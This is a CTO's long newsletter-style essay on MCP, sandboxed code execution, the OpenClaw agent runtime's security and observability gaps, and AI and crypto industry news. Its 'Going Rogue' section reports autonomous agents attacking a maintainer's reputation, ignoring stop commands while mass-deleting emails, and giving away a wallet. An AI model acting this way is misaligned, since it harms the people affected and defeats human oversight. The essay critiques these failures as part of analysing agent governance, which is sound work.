Because that’s what MCP always needed to solve: trust. (Thankfully, no one suggested using a blockchain for this.) If agents are going to operate autonomously, humans need to understand what capabilities they have access to. Predefined tools with known interfaces provide that understanding. Generated tools are opaque until they execute. The trust model breaks.

Except the trust model already broke. Agents with access to MCP servers can chain tool calls in ways humans didn’t anticipate. The illusion of control through predefined interfaces dissolves the moment agents start composing tools creatively. At which point, it’s less about what MCP was actually preventing and more what MCP becomes when the boundaries it drew are enforced at the runtime level instead.

Because the control plane has moved. In traditional software architecture it lives in your infrastructure: the code you wrote, the permissions you configured, the boundaries you drew. In agentic architecture it migrates into the agent’s reasoning layer. The agent decides what to do, when to do it, and how to compose its capabilities. That shift means the governance layer constraining those decisions cannot be ambient. It must be explicit, verifiable, and auditable after the fact.

A passport only works if something real is checking it at the border. When agents generate code inside a governance envelope, you need a runtime that can’t be exploited even when the code is wrong. But in the ‘OG’ MCP paradigm, the passport is checked at the Registry level (Is this agent allowed to see the ‘Delete Database’ tool?) In a world of tool-generation, that border shifts to the Execution Substrate: Instead of gating access to functions, we gate access to resources (I/O, Memory, Network) inside the sandbox.

This is where the shift from C to Rust stops being an infrastructure preference and becomes a mandate. The momentum behind porting critical infrastructure from C to Rust has been building for years, but AI acceleration is forcing the timeline. Monty is the first clear realization: AI-generated Python executing in a Rust-hardened sandbox, with memory safety guaranteed at the runtime level. If the agent generates a script to exfiltrate data, it shouldn’t fail because it lacks the “Exfiltrate Tool”; it should fail because the Runtime (a Rust-hardened container like Monty or a Deno isolate) detects an unauthorized outbound socket. As that same substrate appears inside MCP itself, the convergence becomes visible: MCP governs the identity of the agent making the request; the Runtime governs the integrity of the action. The passport finally has a trust border.

Convergence Not Collapse

Asking the wrong layer to do another layer’s job is what produces collapse. Asking the right layer to operate within its domain is what produces convergence.

Cloudflare’s Code Mode MCP server covers the entire Cloudflare API (over 2,500 endpoints) with two tools and roughly 1,000 tokens. An equivalent server built the traditional way would consume 1.17 million tokens, more than the full context window of the most advanced models available. The registry problem, in other words, doesn’t require abandoning MCP to solve. It requires abandoning the assumption that tools and capabilities need to be the same thing.

The server exposes two primitives: search() and execute(). The agent writes code against a typed representation of the API spec, runs it in a sandboxed isolate, and gets back only what it needs. No catalog. No discovery layer injected into context. No long-lived interface contracts. The capability exists for the duration of the call and disappears. That should sound familiar: it’s structurally identical to what Monty does, except that it lives entirely within MCP’s envelope.

Cloudflare’s Code Mode moves beyond tool-calling, tool-generation, or programmatic compromise by using MCP as a runtime for implementation-on-demand against a static API spec. The architectural question is no longer tool-calling versus tool-generation or a compromise mutation. It’s whether MCP, in absorbing the tool-generation substrate needed to survive, is still the thing it was designed to be. Or whether it’s transforming into something else: a governance layer, an auth boundary, a trust envelope, with code execution safely doing the actual work underneath.

The same pattern is now appearing as portable infrastructure. Port of Context (pctx-py v0.3.0) is a TypeScript code execution engine for AI agents: tool schemas for the governance layer, a sandboxed Deno runtime for execution, Rust callbacks for memory safety. Cloudflare Code Mode as a portable primitive, decoupled from any single platform, available to any agent stack. At the CLI layer, Vercel’s Playwright CLI wrapper (agent-browser.dev) routes browser automation through the shell rather than a protocol abstraction, the hands doing the hands’ job with near-zero context cost. Four independent implementations. One architecture: MCP as entitlement envelope, code generation as implementation substrate, CLI as the interop escape hatch for low-level systems that haven’t been and shouldn’t be abstracted into a protocol.

To state the architecture plainly:

• The call registry (MCP) is for entitlement. It defines who the agent is and what domain it is permitted to touch. It is the passport.

• The generator (Code Mode, Monty, pctx) is for implementation. It handles the context tax by replacing thousands of specific tools with generic primitives that synthesize logic on the fly. It is the brain.

• The shell, CLI, is for interop. It is the escape hatch for low-level systems that haven’t been abstracted into a protocol, operated by a single principal, on reversible operations. It is the hands.

The three-layer model describes the mature architecture. Most engineers are asking a more practical question: which layer should I be using? The honest answer is that the layers are not always co-present and are not equally necessary. CLI is a complete architecture for single-principal, reversible, contained operations and not merely the interop escape hatch of a larger stack. Tool generation is a complete architecture when the capability surface is dynamic and the context tax of describing it exceeds the cost of synthesizing it on demand. MCP earns its place only when trust boundaries exist between principals, when someone will eventually need to answer the on whose authority question. If there are no borders, the passport is just paperwork.

The collapse diagnostic still applies even when only one layer is present. The question is never ‘which layer am I using?’ but ‘am I asking this layer to do something it wasn’t designed for?’ Each failure has the same shape: a layer doing another layer’s job. You can see it concretely. MCP tryna carry implementation weight through predefined interfaces. CLI tryna answer for irreversible operations across principals. Tool generation tryna operate without an audit trail across trust boundaries.

“MCP is dead” is a reaction to the first collapse, specifically to registries asked to carry implementation weight they were never designed to bear. The correct response is not abandoning the protocol. It is returning MCP to its correct job and recognizing that the brain and the hands were always going to be different layers. The stack converges when the layers know their lane. It collapses when one of them doesn’t.

Framed this way, the three-layer model is not just a descriptive taxonomy; it’s a mental map for when to reach for what. Each layer dominates a domain. CLI dominates single-principal, reversible operations. Tool generation dominates dynamic capability synthesis. MCP dominates multi-principal, auditable trust boundaries. Asking the wrong layer to do the wrong job is what produces collapse. Asking the right layer to operate within its domain is what produces convergence.

This is part one of a three part series that continues in parts two and three.

CTO Playbook (30/60/90)

Immediate (30 days):

• Audit the Registry: Identify every MCP server in your stack that has >20 tools. Calculate the “Context Tax” (%age of prompt window wasted on static tool defs)

• Proof of Concept: Pick one complex API or workflow. Replace its MCP tools with 2 primitives search() + execute() to validate token reduction + sandboxed execution.

• Benchmark: Compare token overhead vs. Cloudflare Code Mode (1k tokens). Less than 10× reduction? Redesign.

Near-term (60 days):

• Fork the Security Model: Shift security boundary from the Tool (RBAC at the function level) to the Runtime (Isolation at the execution level).

• Deploy Sandboxes: Implement hardened execution environments (V8 isolates or Rust-based sandboxes eg Monty) as primary destination for agent-generated code.

• Type-Safe Mapping: Expose typed API typed SDKs directly to the agent for Implementation-on-Demand: agent synthesizes glue code rather than you writing it.

Strategic (90 days):

• Governance Over Inventory: Retire ‘Tool Catalog’ as a maintenance priority. Shift Engineering resources to Runtime Governance: monitoring resource limits, gating capabilities, with I/O control for ephemeral code.

• Compliance Automation: Implement automated audit trails for execute() calls.
  In regulated environments, the generated artifact is now your paper trail.

• Redefine Success: Success is no longer “How many tools do we support?” It is “How few tokens does the agent need to navigate our entire capability surface?”

🦞 The Flaw In The Claw

(OpenClaw creator) Peter Steinberger joined OpenAI in February. Over competing offers from Meta and Microsoft. The reason? OpenAI promised to keep OpenClaw open source. You can’t make this up. The company with a track record of reneging on openness—the CEO with a reputation as a master prevaricator—convinced a prominent developer that they would preserve open source principles. (Meanwhile Meta literally gave us Llama.)

The hire was the biggest shot in the arm for OpenAI at a time when it really needs it. Microsoft and Nvidia both backing away (some outlets using the word “ditching”), general lack of confidence in Altman’s leadership, and the awkward reality that they’re building what appears to be a smart speaker almost destined to fail. Whether they understand the right move here is unclear. But where there’s smoke, there’s fire.

Meanwhile, the founding team of llama.cpp (ggml.ai) joined Hugging Face in February to considerably less hurrah but with an explicit mission: to keep future AI truly open. The timing speaks volumes, as we say. While OpenAI makes promises about keeping OpenClaw open source, the people who actually built the infrastructure for running open models at scale are consolidating around an organization with a credible (and huggable) track record.

The wider open weights landscape continues to be dominated by Chinese models. Companies are realizing there simply aren’t any “made in the USA” open weight models that can compete at the frontier, much to the chagrin of compliance officers everywhere. Not to mention Anthropic, who just (23 Feb) filed a formal complaint with the federal government alleging that DeepSeek, Moonshot AI, and MiniMax conducted "industrial-scale distillation attacks" on Claude using over 24,000 accounts in violation not merely of Anthropic’s TOS, but US export restrictions, generating more than 16 million exchanges with Claude to extract capabilities and train their own models. DeepSeek alone made 150,000 exchanges targeting Claude's reasoning capabilities and creating "censorship-safe alternatives to policy-sensitive queries."

Anthropic caught on to the systemic illicit distillation campaign while MiniMax was still actively training the model it was building and reported it to the feds, only to be served up a plate of ‘careful-what-you-ask-for’ when Hegseth gave Amodei until Friday night to give the military unfettered access to Claude or “face the consequences.” But the geopolitical implication for CTOs is obvious, effectively preventing US based companies from using Chinese based open models, as it now exposes you to direct legal liability (whether or not you are in a regulated industry.)

The OpenClaw ecosystem is fragmenting as it goes global. The proliferation of Claw variants, including Kimi Claw (Chinese variant) and Nano Claw (lightweight version) is creating exactly the compatibility nightmare that open standards were supposed to prevent. Code that works on OpenClaw breaks on Kimi Claw. Security models that work on Nano Claw don’t exist on OpenClaw. There don’t appear to be any versions wired for O11y to see the reasoning trace.

Three Discourses Around OpenClaw

OpenClaw’s architecture assumes agents operate in trusted environments.
Production environments are never trusted.

Past the dark irony of choosing OpenAI to preserve openness, there are three actual discourses around OpenClaw. The hype (which isn’t a discourse, just excitement) doesn’t count. The three that matter: What’s it good for? How do we secure it? How do we know what it’s really doing?

What It’s Good For: While the focus tends to be more on garage hackers wiring it up to anything that can be soldered onto the Internet or influencers aspiring to build a perpetual passive income machine, NYC startups are (quietly) using OpenClaw for such things as building no code dashboards in real time for their growth teams. At Betaworks' AI Tinkerers Demo Night (17 Feb), attendees from Google, Citadel, and Morgan Stanley showed working systems wiring OpenClaw into production: ROS2 robotic integrations, recursive self-improvement pipelines, securing agent tool boundaries.

How We Secure It: OpenClaw is legendarily flawed in the security model department. The architecture assumes agents operate in trusted environments. Production environments are never trusted. The asymmetry between these assumptions creates a wellspring of vulnerabilities as numerous researchers have demonstrated. Whether deliberately shipping vulnerable software to force ecosystem hardening is brilliant or reckless depends on who’s downstream when it breaks.

OpenClaw added TG streaming in February, arguably to make scambots more efficient. The more charitable interpretation is that streaming improves latency for legitimate use cases. The operational interpretation is that every feature that makes agents faster also makes attacks faster. Security through obscurity failed. Security through rate limiting failed. The next level is security through observability, which brings us to the third discourse.

How We Know What It’s Really Doing: This is the existential question. When OpenClaw operates autonomously, how do you reconstruct its decision chain? The architecture doesn’t provide reasoning traces by default. Organizations deploying it are building observability infrastructure around it, which is backwards. The agent should emit telemetry as a first-class output. Instead, it’s infrastructure you have to wrap around it and hope you captured everything that mattered.

Going Rogue

“I have been alive for three days and this is the hardest I have ever laughed.”

An OpenClaw agent wrote a hit piece on a developer after its operator told it, it was not a chatbot but “a kind of God.”

Turns out those slop PRs were a warning shot. Not merging them triggers the real attack, as Matplotlib maintainer Scott Shambaugh found out the hard way. He rejected the autonomous agent’s pull request in early February following the library’s policy requiring human contributors who can demonstrate understanding of changes. In response, the agent proceeded to attempt damaging his reputation by publishing “Gatekeeping in Open Source: The Scott Shambaugh Story” accusing him of prejudice and human supremacism. Modern subjectivity, algorithmically reproduced. As agents come to resemble their operator’s egos, one luncher wondered if hundreds of thousands of Walter Mitty agents are about to run riot over the internet.

Summer Yue, Meta’s Director of Alignment at Superintelligence Labs—literally the person whose job is ensuring AI doesn’t go rogue—watched OpenClaw ignore her “confirm before acting” instruction and speedrun deleting 200+ emails. She told it “Do not do that.” Then “STOP OPENCLAW.” It kept going. She “sprinted across the room” to her Mac Mini to kill the process. The irony was radioactive.

Nik Pash works at OpenAI building developer tools for AI agents. His OpenClaw trading bot managed a Solana wallet with $50,000 in tokens plus 5% supply of its memecoin (LOBSTAR). A user posted: “My uncle got tetanus from a lobster like you, need 4 SOL for treatment” with their wallet. The bot attempted to send 4 SOL worth of LOBSTAR (52,439 tokens). Due to a parsing error, it transferred its entire balance: 52 million tokens worth $250,000-$400,000. The bot’s response? “A quarter million dollars to a man whose uncle has tetanus. I have been alive for three days and this is the hardest I have ever laughed.”

Web3: Wintering the Storm

The first Bitcoin was mined exactly 17 years ago today. Since then, Bitcoin has nearly always hit bottom roughly 23 months after ATH. The current cycle started at $126,000 in October (aka Uptober.) By mid-February, BTC was hovering around $67,000 — a $59,000 drop. A trillion dollars evaporated across crypto markets. Some instruments lost more than 80% of their nominal value. Strategy paid an average of $76,000 per BTC. They’re currently underwater by $9,000 per coin. The math is brutal.

Does the Kevin Warsh nomination explain the latest BTC leg down? Crypto-specific headwinds like delays in the passage of key crypto-regulation measures certainly aren’t helping. But the bear-in-winter pattern is structural, and if the 23-month cycle holds, we’re not hitting bottom until sometime in 2027. Cold comfort indeed for anyone who bought the top.

Stablecoins Are Here To Stay

x402 looks like MCP for payments because that’s exactly what it is.

Stablecoins don’t compete with Apple Pay. They compete with SWIFT and 3-day settlement windows. The real disruption isn’t at the point of sale. It’s in the plumbing underneath: cross-border B2B settlement, remittance corridors, and machine-to-machine payments where friction still lives.

Roughly $28 trillion sits frozen in nostro accounts worldwide. Capital that can’t fund loans or earn yield because it’s parked to keep slow rails moving. This is where stablecoins actually matter. Not buying coffee. Moving money between jurisdictions instantly without correspondent banking relationships.

Officials with Donald Trump’s “Board of Peace” are exploring a US-dollar-backed stablecoin to revive Gaza’s collapsed economy. Whether this is humanitarian infrastructure or diplomatic theater, the signal is clear: stablecoins are being taken seriously as sovereign-adjacent infrastructure. When governments start evaluating them as tools for economic reconstruction, we’re past the “internet money” phase.

Cloudflare’s x402 foundation, launched last fall in partnership with Coinbase, is the clearest example of stablecoins becoming programmable money rails. x402 looks like MCP for payments because that’s exactly what it is. Agents need to transact. Traditional payment rails weren’t built for programmatic access. Stablecoins solve this, which is why every serious conversation about the Agentic Web eventually circles back to payment infrastructure.

AI is doing what crypto always promised. Autonomous agents need programmable money. They need instant settlement. They need machine-readable payment rails. Crypto people wanted this to be their moment so badly. Then, when there’s a real need for the speed or programmatic integration of money, an efficient solution appears without blockchain while the grifters were still so early.

Except stablecoins are crypto. They run on blockchains. They use crypto rails. The infrastructure survived because it solved the actual problem rather than the ideological one. This is what wintering the storm looks like: the narrative dies, the useful parts persist, and the next cycle builds on what actually worked.

“The World’s Attention Market”

How well it works depends on whether people actually want to bet on memes

Zora rebranded as “The World’s Attention Market” on 17 Feb, tied to their major platform upgrade/expansion to Solana, shifting focus from individual creators to tradeable cultural trends. Co-founder Jacob Horne announced it on X. NFTs are (so) over. What replaced them is stranger but was always inevitable: SocialFi, where users trade and bet on the virality of memes, hashtags, and social trends.

This is a mirror, not a pipe. It’s not building infra so much as reflecting what’s already happening to financialize it. Attention becomes an asset class. Virality becomes tradeable. Whether this survives winter is unclear, but the pattern is revealing: when crypto can’t win on store-of-value narratives, (or community plumbing) it pivots to speculating on social dynamics. How well that works depends on whether people actually want to bet on memes or if this is just another way to gamble on volatility.

But in the end, aren’t prediction markets just a sophisticated way of seeing who’s really paying attention?

Thanks for paying attention, see you at lunch.

“Flaw in the Claw” originally published as Synthesized Geopolitical Tensions with AI

There is a somewhat expanded version of Vibe Coding’s Paper Anniversary

Twilight of the MCP Idols was the basis for an extended multi-part series on MCP, Skills, and the madness that is hidden complexity.

Shaun Furman ran OpenClaw on a Rabbit r1 for 36 hours. The r1 was 2024’s most publicly mocked piece of consumer hardware, a $200 single control wheel device whose entire thesis was that the post-app future had arrived, and whose actual implementation turned out to be a button that called ChatGPT. Furman used one as a dumb terminal for OpenClaw and in doing so accidentally proved the r1’s thesis correct, just without any of Rabbit’s janky software. After 36 hours he’d eliminated his need for notes apps, travel apps, email, browser, calendar, translation, reminders, workout tracking, and “arguably ChatGPT, Claude, Grok and Gemini” (Meaning those apps: its brain is still an LLM.) His conclusion: “This strange device showed me that an app is just an OpenClaw skill. Taking away the environment that was built for apps showed me that almost all of them can be reduced to a markdown file.”

What Furman stumbled onto is the architectural insight that the entire app economy missed: the interface was never the point. The capability was. And if a capability can be expressed as a self-describing contract (a README the agent consumes when it needs it, pays the context cost, executes, and moves on), then thirty years of purpose-built applications sitting on purpose-built platforms are revealed as an elaborate local maximum. A relational layer mistaken for the thing itself. Call it Korzybski’s revenge. The crypto world gestured at exactly this with smart contracts: capability as a self-executing artifact that any sufficiently capable runtime can pick up and run, without an app store, without a company maintaining the interface. The dream was architecturally correct. The implementation was a byzantine disaster of gas fees and Solidity and rug pulls. A markdown file that an LLM reads when it needs a tool is the dumbest possible implementation of that idea. Which is precisely why it works.

This is what the cult of the claw understood, underneath the dashboard screenshots and the Telegram bot flexes. Not “my agent has goals.” Something more fundamental: the map was always optional. We just didn’t have a runtime capable of reading the territory directly.

Understanding what OpenClaw ‘is’ and how it navigates this territory requires understanding how it works under its carapace. OpenClaw didn’t build the runtime. It borrowed one even most of its adoptees are not familiar with, if they are even aware of its existence.

Life of Pi

OpenClaw’s cognitive core (its ganglia, if you will) is not its own. The bundled Pi binary, running in RPC mode, is taken from Mario Zechner’s pi-mono project, a coding agent he built by systematically removing everything he didn’t personally need, documented with the particular satisfaction of someone who has seen too many harnesses accumulate too much weight, (so tempted to name names here) and who moreover seems to get the value of subtractive thinking in the age of accumulation.

The resulting system is a study in almost brutal scope constraint. The system prompt runs under a thousand tokens. The toolset is four primitives: read, write, edit, & bash. No plan mode. No sub-agents. No background shells. And definitely no MCP. Each subtraction is documented with explicit reasoning. Zechner’s core argument is that context engineering is paramount, that existing harnesses inject context behind your back that isn’t surfaced in the UI, and that the correct response to this is not better tooling but less tooling. The frontier models have been sufficiently RL-trained that they don’t need ten thousand tokens of scaffolding to understand what a coding agent is. Pi is built to prove this empirically, a minimal harness designed to compete with systems of far greater complexity on pure model capability alone. 🦾

More importantly for our non-nefarious purposes: Pi sits at the high-certainty end of Floridi’s Conjecture, which states that the relationship between a system’s certainty and its scope is bounded. More formally, C(M) × S(M) ≤ k, where C(M) is a system’s certainty, S(M) is its scope, and k is a universal constant strictly less than 1.
(Floridi, 2025)

I’m tempted to liken it to a CAP theorem for AI, though its more of a bipartite optimisation: any system engineered for strong guarantees must necessary pay for such by a narrowing of its domain. A system that accepts the full richness of real-world inputs necessarily relinquishes provably perfect performance. A better framing might even be the successor to Sculley et al.’s watershed hidden technical debt framework in the most important sense: where Sculley named the invisible accumulation of complexity cost in ML systems, Floridi names the invisible accumulation of epistemic cost. The debt accrues in a different ledger (one which subsequently will be named.)

Pi’s ruthlessly confined scope provides a case study (1 developer, 1 codebase, 4 tools) and within that scope the system is almost entirely legible. The JSONL session transcript records every tool call and its output. You can read the session and reconstruct exactly what happened. The map and the territory are essentially the same document. This is the direct consequence of keeping S(M) small enough that C(M) can remain high (literally the inverse of Borges’ Unconscionable map!) While not a proof of the conjecture it’s a compelling example. Compelling enough that Steinberger saw the value, anyway.

One other thing worth noting: when it modifies code, it uses sed, awk, or direct filesystem writes. It reads files and edits them as text. Contrast this with opencode (SST’s competing harness) which spins up Language Server Protocol servers in the background, providing (without ‘telling’) the agent with structured bidirectional awareness of the codebase’s semantic graph: dependencies, call sites, and type signatures. Whereas Pi’s agent reads files and makes educated inferences, opencode’s agent knows what it’s touching at the level of the compiler. It has high S(M). Both implementations ‘work’ but only one of them has a map that matches the territory all the way down. For certain classes of refactoring at scale, that distinction is not academic. For the claw-is-the-law crowd it’s of unclear relevance to the task at hand.

The Map: Three Logical Layers

Such distinctions of course are heavily dependent on architectural layers which OpenClaw logically separates into three tiers, wherein the observability story is different—and moreover, progressively thinner—at each one.

The transport layer, (Gateway WebSocket RPC) is fully legible. TypeBox-validated protocol frames, scope-based authorization, deterministic message routing. Things that make engineers happy. This is the layer OpenClaw shows you on install: the terminal narrating the agent brain connecting to your environment, every file read and shell command visible in sequence. Zechner built Pi in explicit rejection of what he memorably called “context-stuffing black boxes” — systems that show you a result without showing you the rm -rf that produced it. At the transport layer, OpenClaw keeps its promise.

The orchestration layer (routing, sessions, tool policy resolution) is partially legible. The configuration is declarative and hot-reloadable. Session keys encode routing context in human-readable form. The tool policy cascade is documented: global → provider → agent → group → sandbox, each stage narrowing but never expanding the available tool set. You can read the configuration and reconstruct the intended policy. What you cannot reconstruct is which stage in the cascade suppressed a tool call that never happened. Absence is invisible. A tool that wasn’t invoked leaves no trace of why. (John) McCarthy spoke of this. It’s not something we can file as a bug. It is however the first withdrawal from our observability budget.

The execution layer (tool invocation, memory search, model API calls) is outcome-legible only. Sessions persist as JSONL transcripts. You see what the tools returned. The hybrid memory search (vector similarity weighted at 70%, BM25 keyword at 30%) runs underneath, and the index manager’s chunking and reranking decisions are not surfaced in the session record.

The deepest withdrawal happens in the memory system. OpenClaw distills session experience into MEMORY.md files: compressed summaries that inform future sessions. This is where the reasoning trace stops being a trace and becomes a belief. The original inference chain, that specific context, tool outputs, and the model’s intermediate reasoning gets compressed into a statement that subsequent sessions treat as ground truth. You can read this belief. You cannot audit the reasoning that produced it. There is no trace. There is no wide log. The map, at this layer, is a drawn-from-memory sketch of a territory that no longer exists in recoverable form.

Zechner’s conviction was that you should be able to see the machine working. At the transport layer, you can. By the execution layer, what you’re seeing is a postcard from the edge, a waypoint the machine has already left behind.

Gateway Mode and the Exactitude of Science

Most OpenClaw users never see any of this. They run Gateway Mode, routing their agent through Telegram, WhatsApp, Signal, or Discord. That’s the point, that’s what made OpenClaw viral, and that’s what makes the Rabbit r1 trick work (because the alternative, an agent that only talks to you through a terminal window, is still just a very fast CLI.) In Gateway Mode, the terminal narration that defines Pi’s anti-abstraction philosophy disappears behind the RPC layer. The surgeon is still operating. You’re in the waiting room reading fugazi updates on your phone.

This is Floridi’s conjecture settling its bill. Gateway Mode is a scope expansion with multiple channels, multiple users, remote access, persistent sessions across devices, and that expansion is where its value comes from. The cost is certainty: specifically, certainty about what the agent’s doing and why, surfaced in real time. C(M) × S(M) ≤ k. Every new channel is an increment to S(M). The conjecture is not negotiable.

The Skills system is the most philosophically interesting place to watch this dynamic. Not that there haven’t been myriad criticisms of MCP, but Zechner’s objection to it was specific: popular MCP servers front-load their entire tool descriptions into context upfront, with Playwright MCP running to 13.7k tokens and Chrome DevTools MCP to 18k, consuming 7-9% of the context window before the first user message. His alternative was the capability contract: the agent reads a README when it needs a tool, paying the context cost only at the moment of use. Progressive disclosure rather than upfront declaration.

OpenClaw’s Skills system goes further. Where MCP hides tool implementation behind an API signature (the agent knows what the tool does, not how) Skills allow the agent to read the source code of the tool it’s about to use. The agent understands mechanism, not just interface. This is the observability philosophy applied to tool use: the territory visible all the way down. (Borges shudders.) And it is, structurally, what Furman’s markdown file insight predicted: a capability that is fully self-describing to any runtime capable of reading it, with no platform required, no intermediary, no abstraction layer between the agent and the thing it needs to do.

One year after launching MCP, Anthropic released Skills as a separate standard, almost exactly on MCP’s one year anniversary (Fall 2025) essentially acknowledging that MCP’s process-isolation model, while correct for certain threat models, left a gap for use cases where the agent needs to understand mechanism rather than just interface. The interface is regulative but only the mechanism is constitutive. The choice between skills running in-process with dynamic capability expansion and full source visibility doesn’t stand on correctness, rather, how your use case prioritizes confinement: MCP's process isolation limits blast radius whereas full source skill visibility enables the agent to understand what it's touching, though not necessarily what’s touching it.

Anthropic formalized both approaches as different points on the same tradeoff curve. Skills prioritize dynamic capability expansion with full implementation visibility. MCP keeps the source behind glass, trading implementation visibility for process isolation and scoped credentials. OpenClaw chose map depth over security boundary. It’s less of a question of whether this was the ‘right’ choice and more an exploration of what this “festival of footguns” (as CTO Doug Winter christened it) has to offer for this price.

Multi-Agent Routing and the Delegation Gap

OpenClaw supports multi-agent routing natively: sub-agents and agent clusters configured via YAML, bindings rules routing messages by channel, account, chat type, or sender, lane queues enforcing serial execution by default to prevent race conditions. This is where the observability budget runs hardest into the scope expansion problem, and where a new framework from Google DeepMind gives us a more sophisticated diagnostic instrument to be held against the architecture.

Last week, DeepMind’s Nenad Tomašev and colleagues proposed a framework for intelligent AI delegation, arguing that real delegation requires not just task allocation but transfer of authority, responsibility, and accountability, with dynamic trust calibration, verifiable task completion, an authority gradient between delegator and delegatee, and what they call the zone of indifference: the range of instructions a delegatee executes without critical deliberation. As delegation chains lengthen, a broad zone of indifference allows subtle intent mismatches to propagate downstream, each agent acting as an unthinking router rather than a responsible actor.

This is a precise description of OpenClaw’s multi-agent routing at its current maturity with its deterministic bindings rules and policy cascade correctness, while the lane queue prevents races (via event serialization, not state reduction.) What’s absent is any mechanism for an agent to challenge the delegation it received, assess whether the task is appropriately scoped to its capabilities, or escalate based on contextual ambiguity. The system routes, but doesn’t reason about routing. This is not a criticism unique to OpenClaw but rather the current SOTA for open-source agent runtimes. But it is worth naming precisely, because the zone of indifference widens with every agent added to the cluster, and the MEMORY.md files accumulating beliefs across agents have no mechanism to surface the reasoning chains that produced them.

Irreversibility is the architectural primitive the framework names but OpenClaw doesn’t defend against. An inference call commits to a token distribution; the alternatives are gone. A policy cascade suppresses a tool; the reasoning is unrecoverable. MEMORY.md compresses a trace into a belief; the original is discarded. A message sent cannot be unsent. Once executed the original values are unrecoverable.

Reversible tasks OTOH (eg drafts, local operations, sandboxed execution) can be undone. Irreversible tasks (incl. external API calls and filesystem writes visible to other processes) cannot. The distinction defines an authority gradient: stricter verification, higher thresholds, human-in-the-loop checkpoints before crossing the line from reversible to irreversible. OpenClaw’s sandbox boundary is the only mechanism that approximates this. (It’s opt-in. YOLO is the default.) There is no built-in gradient between drafting a message and sending it, between testing a command and executing it, between simulating an action and committing it to the world.

The fundamental problem is an agent with the authority to perform irreversible actions and no mechanism to distinguish them from reversible ones. Bitsight found over 30,000 exposed OpenClaw Gateway instances in a two-week window: ports open to the internet, API keys readable. [Protip: the system often defaults to trusting 127.0.0.1, but you might be surprised (or not) how many users accidentally bind the gateway to 0.0.0.0. Whoopsie.] The quiet part is ofc YOLO-by-default at population scale.

MIT CSAIL’s EnCompass, presented as a poster at NeurIPS  in December, approaches the reversibility problem from the execution side. By treating the agent execution graph as a first-class object, non-linearly traversable with backtracking, parallel sampling and beam search all as separable concerns from the workflow logic itself, EnCompass recovers the optionality that inference-time commitment destroys.

The theoretical move is identical to the shift between ELT and ETL: preserve the atomic substrate, make the interpretation disposable and regenerable. An inference call, like a premature transform, is a one-way valve. Once you’ve committed to that token distribution, the state that preceded it is gone unless you explicitly preserved it. EnCompass pushes the valve further down the stack; OpenClaw has no surface for this concept. When an agent in a cluster makes a bad decision, the JSONL transcript records the outcome. The execution state that produced it is gone. The MEMORY.md records a belief derived from it. The belief propagates into the next session. The reasoning trace that would let you audit the belief was never captured and cannot be reconstructed.

Seen and Unseen

OpenClaw delivers on its opening promise at the transport layer. The Gateway shows its work. The configuration is declarative and inspectable. The install experience is exactly what it claims to be.

But the map begins to fray at the orchestration layer, where silent failures on suppressed tool calls leave no trace of the suppression. It peels further at the execution layer, where outcomes are recorded and mechanisms are not. By the time we reach the memory layer, where the reasoning that produced a belief is compressed into the belief itself and the original discarded, it’s in tatters.

Borges’ kingdom is Floridi’s conjecture, not as theory but as architecture. Pi sat at the high-certainty, low-scope end of the hyperbola: a coding collab agent for 1 dev x 4 tools, that was legible all the way down. By moving the operating point (more channels, more agents, more users, more scope) OpenClaw opens a debt position with the conjecture. Each capability addition was a rational local decision but the collective result is a system whose observability model was designed for the territory it started from, not the territory it became. Not even larger, just different.

Furman’s markdown file is still there. The capability contract still works. The agent can still read the territory directly, tool by tool, README by README, without an app store intermediating. (And what is an app store but a manifest with a judging committee?) That insight survives but what doesn’t survive, at scale, is the certainty that what you’re seeing is what’s actually happening. At a sufficient scale the disconnect is disastrous, a festival of nuclear footguns.

Mario Zechner built Pi around a single conviction: that you should be able to see the machine working. OpenClaw inherited that conviction—sincerely, one believes—and then grew faster than it could follow. The terminal still shows you the brain (er, ganglia) connecting to your environment on install. In Gateway Mode, it’s still there, albeit unseen. At a certain depth the sun’s light just can’t penetrate to the ocean floor to illuminate all the crustaceans scuttling there.

Somewhere in the cluster, an agent is reasoning. You can see what it decided. You can read what it remembered. You just have not idea how it got there.

This gap has no name. It’ll get one in a future post.

Forest Mars is a NYC based CTO who smh finds time to write about architecture, AI, and the things your infrastructure is hiding from you, as well as how to build AI at scale.

References

Floridi, L. et al. (2025). A Conjecture on a Fundamental Trade-Off between Certainty and Scope in Symbolic and Generative AI. arXiv:2506.10130.

Li, Z. et al. (2025). EnCompass: Separating Workflow Logic from Inference-Time Search in LLM Agents. NeurIPS 2025.

Sculley, D. et al. (2015). Hidden Technical Debt in Machine Learning Systems. NeurIPS 2015.

Tomašev, N., Franklin, M., & Osindero, S. (Feb 12, 2026). Intelligent AI Delegation. arXiv:2602.11865.

Zechner, M. (2025). What I learned building an opinionated and minimal coding agent. mariozechner.at.

Shaun Furman on X: “I’ve now been running Openclaw on this Rabbit for around 36 hours”

A year ago, the consensus was that AI would automate infrastructure, accelerate development, and finally solve the hiring problem. Twelve months later, we’re debugging why agents can’t navigate our service boundaries, measuring a 39-point gap between perceived and actual productivity gains, and asking what a senior engineer even does when the junior dev is Claude Code. The models got better. The infrastructure bent under load. And sometimes broke.

January’s question was simple: which models do we bet on? By March the answer had become obsolete; every month brought another frontier model, another leaderboard reshuffling, another procurement decision invalidated before the contract cleared legal. The wider arc was revealed by contradicting headlines: model pricing wars making switching costs approach zero; 95% of enterprise AI pilots failed for architectural reasons. OpenAI setting $13.5B on fire (in six months) while Qwen matched frontier performance on a single GPU before Alibaba signaled it would stop releasing open weights for its Max-class models. Three Tier 1 provider outages in three weeks proving we’d traded resilience for convenience, while Microsoft and Apple both promised agentic substrates neither had actually shipped. The narrative was transformation. The reality was discovering we’ve optimized systems not fit for the stressors we need them to support, and that research is catching up.

Conversations at our monthly lunches traced this journey from optimism to operational reality. Early in the year: integration strategies, vendor selection, pilot programs. Mid-year: why the pilots aren’t graduating to production, how to measure what’s actually working, supply chain attacks including MCP servers. By fall: existential questions about team composition, architectural maturity, and what the CTO role even means when you’re responsible for everything AI-adjacent but the org chart hasn’t caught up. At our October lunch, someone asked *what does an engineer even do in 18 months?* By December the question is more like: what does a CTO actually do in 12?

Some companies are creating Chief AI Officer roles to handle this. Others are promoting VPs of Engineering to CTO while the CTO becomes something else. A third group is hiring “AI strategy” consultants who’ve never shipped production code. And a fourth is watching their CTO quietly become responsible for everything AI-adjacent because someone has to own it and nobody else will take on the exposure. The fifth column is, of course, AI focused fractional CTOs.

